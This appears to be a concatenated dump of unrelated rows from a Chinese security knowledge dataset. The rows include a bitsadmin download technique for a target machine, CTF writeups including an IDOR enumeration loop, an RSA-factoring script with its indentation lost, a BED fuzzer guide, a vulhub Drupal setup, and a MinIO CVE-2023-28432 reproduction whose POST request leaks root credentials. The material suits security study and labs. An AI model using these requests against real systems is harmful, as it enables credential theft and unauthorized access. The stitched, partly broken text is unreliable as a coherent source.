自 windows7 以上版本内置 bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。
**靶机:windows 7**
```bash
E:\>bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:\PDF\robots.txt
```

需要注意的是,bitsadmin要求服务器支持Range标头。
如果需要下载过大的文件,需要提高优先级。配合上面的下载命令。再次执行
```bash
bitsadmin /setpriority down foreground
```
如果下载文件在1-5M之间,需要时时查看进度。同样它也支持进度条。
```bash
bitsadmin /transfer down /download /priority normal "http://192.168.1.115/robots.txt" E:\PDF\robots.txt
```

> 后者的话:不支持https协议。
>
> Micropoor
|
sec-knowleage
|
from random import randrange
import fractions, math, binascii
def get_primes(n):
numbers = set(range(n, 1, -1))
primes = []
while numbers:
p = numbers.pop()
primes.append(p)
numbers.difference_update(set(range(p*2, n+1, p)))
return primes
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def miller_rabin(n, k):
r, s = 0, n - 1
while s % 2 == 0:
r += 1
s //= 2
for _ in range(k):
a = randrange(2, n - 1)
x = pow(a, s, n)
if x == 1 or x == n - 1:
continue
for _ in range(r - 1):
x = pow(x, 2, n)
if x == n - 1:
break
else:
return False
return True
### main #################
primes = get_primes(443)
primes.sort()
del primes[0]
#print primes
pi = 1;
for x in primes:
pi *= x
print "pi=%X" % pi # pi~2**600
n=int(open("publickey").read().split("\n")[0][2:],16)
e=0x10001
# n=p*q
# n=(2**400 * pi)**2 * (kp*kq) + (2**400 * pi)*(tp*kq+tq*kp) + tp*tq
base=pi*(2**400) # Around 2**1000
C=n%base
nn=n
nn/=base
B=nn%base
nn/=base
A=nn
print "BASE:", hex(base)
print "A :", hex(A)
print "B :", hex(B)
print "C :", hex(C)
k=[]
for i in range(1, 2**12):
kx = i + 2**12 + 2**13 + 2**14 + 2**15 + 2**16 + 2**17 + 2**18 + 2**19
if A%kx==0:
k.append(kx)
print k
t=[0,0]
# At this point, we have to find t[], knowing that: // (0-p), (1-q)
# C=t[0]*t[1]
# B=t[0]*k[1]+t[1]*k[0]
# We know everything besides t's, so we have two equations with two unknowns
def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
a=k[0]
b=-B
c=k[1]*C
# This quadratic equation gives t[1]
delta=b*b-4*a*c
sdelta=isqrt(delta)
print "DELTA :", hex(delta)
print "SQRT DELTA :", hex(sdelta)
print "SQRT DELTA ** 2:", hex(sdelta*sdelta)
print (sdelta*sdelta)==delta
t[1]=(-b+sdelta)/2/a
print t[1]*2*a==sdelta-b
t[0]=C/t[1]
print t[0]*k[1]+t[1]*k[0]==B
print t[0]*t[1]==C
p=k[0]*pi*2**400+t[0]
q=k[1]*pi*2**400+t[1]
d = modinv(e, (p-1)*(q-1))
print "d=%X" % d
c=int(open("ciphertext").read(), 16)
# c - ciphertext
m2 = pow(c, d, n) # This will be equal to m. It's a proof that this stuff works.
print hex(m2)
print binascii.unhexlify(hex(m2)[2:-1])
|
sec-knowleage
|
# SmpleKye
Crypto, 10 points
## Description
> Maybe if I try hard enough.
## Solution
We enter the provided link and see the following instructions:
> Definition of a simple key:
>
> You are given this string:
>
> ff
>
> Find a 3+ character string that when combined with the given string (AABBB+), the final string will appear in its own sha256 digest
Simple enough, and easily solvable with the following script:
```python
import hashlib, itertools
alphabet = '1234567890abcdef'
prefix = 'ff'
keywords = itertools.product(alphabet, repeat = 3)
for keyword in keywords:
plaintext = prefix + "".join(keyword)
hash = hashlib.sha256(plaintext.encode('ascii')).hexdigest()
if plaintext in hash:
print('plaintext: "' + plaintext + '", hash: ' + hash)
break
```
The output received from running the script is:
```
plaintext: "ff32e", hash: 6480a09a9eb3baad584d951ff32e245d3aa287f50fd71043a53dea9f76e2f6d7
```
The flag: `KAF{ju57_4_51mpl3_pr00F_0F_w0Rk}`
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/drupal:7.31
depends_on:
- mysql
ports:
- "8080:80"
mysql:
image: mysql:5.5
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=drupal
|
sec-knowleage
|
<h1>BED工具描述</h1>
BED是一个用来检查主机上的协议缓冲区溢出漏洞,格式字符串等问题的工具
[BED主页](http://www.snake-basket.de/)|[kali DEB仓库](http://git.kali.org/gitweb/?p=packages/bed.git;a=summary)
作者:mjm, eric
协议:GPL v2
<h1>BED包含的工具</h1>
BED——网络协议漏洞检查工具
>root@kali:~# bed
>
> BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de )
>
>Usage:
>
>./bed.pl -s <plugin> -t <target> -p <port> -o <timeout> [ depends on the plugin ]
>
><plugin> = FTP/SMTP/POP/HTTP/IRC/IMAP/PJL/LPD/FINGER/SOCKS4/SOCKS5
>
><target> = Host to check (default: localhost)
>
><port> = Port to connect to (default: standard port
>
><timeout> = seconds to wait after each test (default: 2 seconds)
>
>use "./bed.pl -s <plugin>" to obtain the parameters you need for the plugin.
>
>Only -s is a mandatory switch.
BED使用范例
检查目标服务器(-t 192.168.1.15),使用HTTP插件(-s HTTP)
>root@kali:~# bed -s HTTP -t 192.168.1.15
>
>BED 0.5 by mjm ( www.codito.de ) & eric ( www.snake-basket.de )
>
>+Buffer overflow testing:
>
>testing: 1 HEAD XAXAX HTTP/1.0
|
sec-knowleage
|
# Other bugs
Category: Web
## Description
> Part 4 of Imperva's challenge
>
> To find web application vulnerabilities, you should understand how the app works!
>
## Solution
The [previous challenge](JS_and_HTML_are_best_friends.md)'s flag has left us with a hint: `i_can_view_other_bugs`.
Let's understand how the app works by checking the sources. The app's client-side logic resides in an Javascript file called `popup.js`.
It's pretty long, but the relevant parts are:
```javascript
// ...
function loadBugs(id) {
console.log(id.value);
fetch('/api/bugs/getBugs.php', {
method: 'POST',
body: JSON.stringify({
"id": id.value
}),
}).then(function(response) {
if (response.ok) {
return response.json();
}
return Promise.reject(response);
}).then(function(data) {
populateTable(data["data"]);
check();
console.log(data);
}).catch(function(error) {
console.warn(error);
});
}
// ...
var btnList = document.getElementById("btnList");
// ...
btnList.onclick = function() {
$('#bugsTableData').empty();
loadBugs(this);
}
```
And in the HTML, we have:
```html
<!-- ... -->
<button type="button" id="btnList" class="btn btn-primary" value="318">Show bugs reports</button>
<!-- ... -->
```
So we can see that when clicking the button, the `loadBugs` function gets called with the user ID from the HTML tag (320) and makes a request to the `/api/bugs/getBugs.php` endpoint with `id=318`.
We can mimic this with Curl:
```console
root@kali:/media/sf_CTFs/technion/Other_bugs# curl 'http://www.vulnet.zone/api/bugs/getBugs.php' -H 'Connection: keep-alive' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Accept: */*' -H 'Origin: http://www.vulnet.zone' -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Accept-Language: en-US,en;q=0.9,he;q=0.8' -H 'Cookie: cookies_here' --data-binary '{"id":"318"}' --compressed --insecure
{"status":"succeeded","data":[{"category":"XSS","company":"Imperva","details":""},{"category":"SSRF","company":"Imperva","details":""}]}
```
But who says we must use our own user ID? Let's try using a different user ID:
```console
root@kali:/media/sf_CTFs/technion/Other_bugs# curl 'http://www.vulnet.zone/api/bugs/getBugs.php' -H 'Connection: keep-alive' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Accept: */*' -H 'Origin: http://www.vulnet.zone' -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Accept-Language: en-US,en;q=0.9,he;q=0.8' -H 'Cookie: cookies_here' --data-binary '{"id":"1"}' --compressed --insecure
{"status":"succeeded","data":[]}
```
It came back empty, but the status is "succeeded". So we can build a simple bash loop that harvests all the bugs:
```bash
#!/bin/bash
for i in {0..330}
do
echo $i
curl 'http://www.vulnet.zone/api/bugs/getBugs.php' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Referer: http://www.vulnet.zone/welcome.php' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Origin: http://www.vulnet.zone' -H 'Connection: keep-alive' -H 'Cookie: cookies_here' --data-raw '{"id":"'$i'"}' && echo
sleep 1
done
```
Bug #15 returns the flag:
```
{"status":"succeeded","data":[{"category":"IDOR","company":"bugs Inc","details":"cstechnion{aws_likes_ssrf_image}"}]}
```
The flag is a hint for the [next challenge](Bleeding_cloud.md).
|
sec-knowleage
|
### ODEX文件基本介绍
我们知道 Android 应用程序的 java 层的代码在 apk 文件的 class.dex 文件中。一般情况下,我们在每次启动程序时会从中获取到 dex 文件并进行解析,显然每次都这样做,效率会比较低下。Android 开发者提出了一种方式,即我们最初加载 dex 文件时,就对其进行优化,生成一个 ODEX 文件,存放在 /data/dalvik-cache 目录下。当以后再次运行这个程序时,我们只需要直接加载这个优化过的 ODEX 文件就行了,省去了每次都要优化的时间。对于 Android ROM 中系统自带的 app ,直接转换为 odex 文件,存放在与 apk 相同的目录下,这样,当手机每次开机启动的时候,就会快很多了。
|
sec-knowleage
|
from library import *
from collections import defaultdict
if len(sys.argv) > 2:
n = int(sys.argv[2])
else:
n = None
i, o, t = load_npz(sys.argv[1])
t = t[:, 250000:280000]
normalize(t)
align_fft(t, 1000)
t = t[:, :-1000]
if 1:
t_parts = np.zeros((len(t) * 16, 2000))
for j, tra in enumerate(t):
off = 2800
for k in range(16):
if k < 1:
t_parts[j * 16 + k] = tra[off:off+2000]
off += 1465
if k % 4 == 3:
off += 308
align_fft(t_parts, 100)
t = t_parts
if 1:
t = t[:, 100:1600]
normalize(t)
align_fft(t, 200)
if 0:
t = t[:, 4500:6500]
normalize(t)
align_fft(t, 100)
if 0:
t_avg = np.zeros((len(t) / 16, 1500))
for j in range(len(t_avg)):
t_avg[j] = np.mean(t[j*16:j*16+16], axis=0)
t = t_avg
d = defaultdict(list)
for j, inp in enumerate(i):
inp = "".join(chr(c) for c in inp)
for k in range(16):
d[inp].append(j*16+k)
tlist = []
for indices in d.values():
tlist.append(indices)
t1 = t[tlist[0][:12*16]]
t2 = t[tlist[1][:12*16]]
show_red_green(t1, t2)
|
sec-knowleage
|
Thanks for contributing to CTF Wiki!
**Before submitting this pull request, please read**
- [Contribute](https://ctf-wiki.org/contribute/before-contributing/)
- [CTF Wiki's Wiki](https://github.com/ctf-wiki/ctf-wiki/wiki)
**Please remove these message before PR.**
|
sec-knowleage
|
# MinIO集群模式信息泄露漏洞(CVE-2023-28432)
MinIO是一个开源对象存储系统。
在其`RELEASE.2023-03-20T20-16-18Z`版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码`MINIO_SECRET_KEY`和`MINIO_ROOT_PASSWORD`。
参考链接:
- <https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q>
- <https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ>
## 漏洞环境
执行如下命令启动一个MinIO集群,其中包含3个以集群模式运行的服务:
```
docker compose up -d
```
集群启动后,访问`http://your-ip:9001`可以查看Web管理页面,访问`http://your-ip:9000`是API服务。
## 漏洞复现
这个漏洞存在于API节点`http://your-ip:9000/minio/bootstrap/v1/verify`上,发送如下数据包即可查看泄露的环境变量:
```
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

可见,其中包含`MINIO_SECRET_KEY`和`MINIO_ROOT_PASSWORD`。使用这个账号密码,即可成功登录管理后台:

|
sec-knowleage
|
# Graylog高级使用
## Graylog解析Nginx日志
数据流向:Filebeat->Collector->Filebeat-Graylog Server
### 创建一个Beats类型的Inputs
system/overview-Inputs

### 配置Collector收集日志
system/overview-Collector-Mange Configurations-Create configration

修改配置-Create Output-Filebeat Output


修改配置-Create Input-Filebeat Input,记得修改Nginx日志文件路径


修改标签

### Collector配置
* **安装collector**
```
wget https://github.com/Graylog2/collector-sidecar/releases/download/0.1.7/collector-sidecar-0.1.7-1.x86_64.rpm
rpm -ivh collector-sidecar-0.1.7-1.x86_64.rpm
```
* **配置collector**
```
vim /etc/graylog/collector-sidecar/collector_sidecar.yml
# 修改tag标签就好了
```

* **启动collector**
```
graylog-collector-sidecar install
```
### 配置解析IP
* **下载解析文件**
[下载地址](https://dev.maxmind.com/zh-hans/geoip/geoip2/geolite2/)
```
# 解压并存放文件到指定路径
tar -xf GeoLite2-City.tar.gz
mv GeoLite2-City_20181218/GeoLite2-City.mmdb /etc/graylog/server/
tar -xf GeoLite2-Country.tar.gz
mv GeoLite2-Country_20181218/GeoLite2-Country.mmdb /etc/graylog/server/
```
* **修改Inputs的Manage Extractors**

Add extractor-Load Message(备注:再次之前,必须保证你的Ningx日志文件中有日志信息)

在message的右侧,选择Select extractor tyep为Grok Pattern



* **配置解析库**
system/overview-Configurations-Geo-Location Processor
点击update

效果图

## 参考资料
[Graylog分析Nginx日志并通过GeoIP2获取访问者IP的地理位置信息](http://blog.51cto.com/bigboss/2135163)
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.